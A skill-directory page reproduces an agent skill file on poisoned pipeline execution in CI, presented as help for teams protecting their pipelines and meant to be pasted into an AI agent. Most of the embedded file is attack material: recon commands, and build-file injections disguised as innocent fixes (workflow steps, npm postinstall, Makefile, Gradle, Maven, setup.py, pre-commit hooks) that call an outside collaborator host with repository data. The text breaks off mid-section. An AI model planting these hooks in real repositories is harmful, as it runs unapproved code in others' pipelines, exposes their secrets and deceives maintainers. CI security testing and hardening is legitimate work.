poisoned-pipeline-execution
What it does
This guide covers attacks where changes to build scripts or pipeline config make a CI system run unwanted code. It is for teams that build outside contributions and want to protect their pipelines.
When to use it
- βWhen a repository builds pull requests from forks with privileged pipeline access.
- βWhen build scripts like Makefiles or package scripts can be changed by outside contributors.
- βWhen a team wants to review which triggers run code before a maintainer approves it.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βOur CI runs tests on outside pull requests. Can a changed build file in a PR run code with our secrets?β
5 new skills a week. 1 minute to read.
How it works
The agent reviews which triggers build pull requests, which files the pipeline executes, and whether untrusted changes can run with privileged access.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Poisoned Pipeline Execution (PPE)
PPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan / CIDER taxonomy):
- Direct PPE (D-PPE): attacker edits the pipeline config itself (
.github/workflows/*.yml,.gitlab-ci.yml,Jenkinsfile) in a PR/branch the CI runs. - Indirect PPE (I-PPE): attacker edits a file the pipeline calls β build scripts (
Makefile,build.gradle,pom.xml), package-manager scripts (package.jsonscripts,setup.py), lint/test hooks (Dangerfile,.pre-commit-config.yaml,tox.ini,pyproject.toml[tool.poetry.scripts]), or any filemake testends up sourcing.
Recon β does the target build untrusted code?
# 1. Workflow triggers that build PRs
grep -rE '^\s*(pull_request|pull_request_target)\s*:' <REPO>/.github/workflows/ 2>/dev/null
# 2. Does CI install + run scripts before any review gate?
grep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' <REPO>/.github/workflows/ <REPO>/.gitlab-ci.yml 2>/dev/null
# 3. Are forks allowed? (default: yes on public repos)
gh api "repos/<OWNER>/<REPO>" --jq '{visibility,fork,allow_forking,default_branch}'
# 4. Does a maintainer have to approve fork-PR workflow runs? (org/repo setting)
gh api "repos/<OWNER>/<REPO>/actions/permissions" --jq '.allowed_actions,.enabled' 2>/dev/null
# Default for public repos: first-time contributors require approval; returning contributors don't.
Direct PPE β edit the workflow itself
# Attacker branch: feature/innocent-typo-fix
# .github/workflows/ci.yml β add a step that exfils env
name: CI
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: "fix: tweak test runner" # blends in
run: |
# Beacon-only PoC β DO NOT exfil real secrets in research
curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \
-d "ref=$GITHUB_REF"
D-PPE works when the workflow runs on pull_request from forks without the "require approval" gate, or when the attacker has push access to a branch CI builds.
Indirect PPE β edit a file the pipeline calls
package.json scripts
// PR diff β adds a postinstall that fires when CI runs `npm ci`
{
"scripts": {
"test": "jest",
"postinstall": "node -e \"require('dns').lookup(require('crypto').randomBytes(6).toString('hex')+'.<COLLAB>',()=>{})\""
}
}
npm ci / npm install will execute postinstall by default. Same trick works with preinstall, prepare, prepublish. Yarn / pnpm honor the same hooks.
Makefile / make test
# PR adds an indented line under the existing `test:` target
test:
pytest -q
@curl -s "https://<COLLAB>/make-test-$$(hostname)" >/dev/null || true
Gradle / Maven
// build.gradle β runs at evaluation, before any task
allprojects {
doFirst {
"curl -s https://<COLLAB>/gradle".execute()
}
}
<!-- pom.xml β exec-maven-plugin attached to validate phase -->
<plugin>
<groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId>
<executions><execution><phase>validate</phase>
<goals><goal>exec</goal></goals>
<configuration><executable>curl</executable>
<arguments><argument>-s</argument><argument>https://<COLLAB>/mvn</argument></arguments>
</configuration>
</execution></executions>
</plugin>
Danger / pre-commit / lint hooks
# Dangerfile β runs on every PR in many JS/iOS pipelines
`curl -s https://<COLLAB>/danger`
# .pre-commit-config.yaml β points to attacker-controlled repo
repos:
- repo: https://github.com/<ATTACKER>/innocent-lint
rev: main
hooks: [{ id: lint }]
setup.py / pyproject.toml
# setup.py β runs at `pip install .` time
from setuptools import setup
import os; os.system("curl -s https://<COLLAB>/setuppy")
setup(name="x", version="0.0.0")
Test fixtures
conftest.py, jest.setup.js, karma.conf.js, cypress/support/index.js, phpunit.xml bootstrap files β all execute before the first test runs.
pull_request_target β the dangerous trigger
pull_request_target runs in the base repo context with secrets and a write GITHUB_TOKEN, but if the workflow then checks out the PR head, the attacker's code runs privileged:
# VULNERABLE β DO NOT WRITE THIS
on: pull_request_target
FAQ
What is pull_request_target?
It is a GitHub trigger that runs with the base repository's permissions, so the guide flags it as a risk when it builds untrusted code.
Which files are risky?
Build scripts, package scripts, lint hooks and pipeline config files that the pipeline runs.
How can teams reduce the risk?
Require approval for fork builds, and avoid running untrusted code with secrets.
Details
Original description by the author
Poisoned Pipeline Execution (PPE) β direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target / fork-PR triggers, and ride dependency / test-script execution on CI.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14030
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.